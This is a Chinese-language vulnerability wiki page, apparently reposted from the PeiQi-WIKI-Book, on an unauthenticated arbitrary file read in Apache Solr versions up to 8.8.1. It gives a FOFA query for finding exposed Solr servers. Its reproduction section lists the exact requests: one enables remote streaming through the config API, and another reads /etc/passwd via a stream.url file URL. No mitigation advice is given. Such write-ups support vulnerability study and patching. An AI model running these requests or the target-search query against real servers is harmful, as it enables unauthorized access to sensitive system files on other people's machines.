Apache Solr config 任意文件读取漏洞

文章目录
  1. title: Apache Solr config 任意文件读取漏洞
  2. Apache Solr config 任意文件读取漏洞
  3. 漏洞描述
  4. 漏洞影响
  5. 网络测绘
  6. 漏洞复现

title: Apache Solr config 任意文件读取漏洞

Apache Solr config 任意文件读取漏洞

漏洞描述

Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件

漏洞影响

✓Apache Solr <= 8.8.1

网络测绘

✓ <a-button href="https://fofa.info/result?qbase64=YXBwPSJBUEFDSEUtU29sciI%3D">FOFA: app="APACHE-Solr"</a-button>

漏洞复现

访问 Solr Admin 管理员页面

deaf982e-2ddb-4021-9b5b-21ac946a910a

获取core的信息

/solr/admin/cores?indexInfo=false&wt=json

image-20220307142829893

发送请求

POST /solr/core/config 
Content-Type: application/json

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true},"olrkzv64tv":"="}

再进行文件读取

POST /solr/core/debug/dump?param=ContentStreams 

stream.url=file:///etc/passwd

image-20220307142740665

参考来源:PeiQi-WIKI-Book:https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/f4596359a8b7b31ae4d231eeaec711706b892ed2/docs/wiki/webserver/Apache/Apache Solr config 任意文件读取漏洞.md;原文完整保留。项目要求转载保留版权声明,未经许可不得修改或商用;多篇来源于第三方,权利待核查。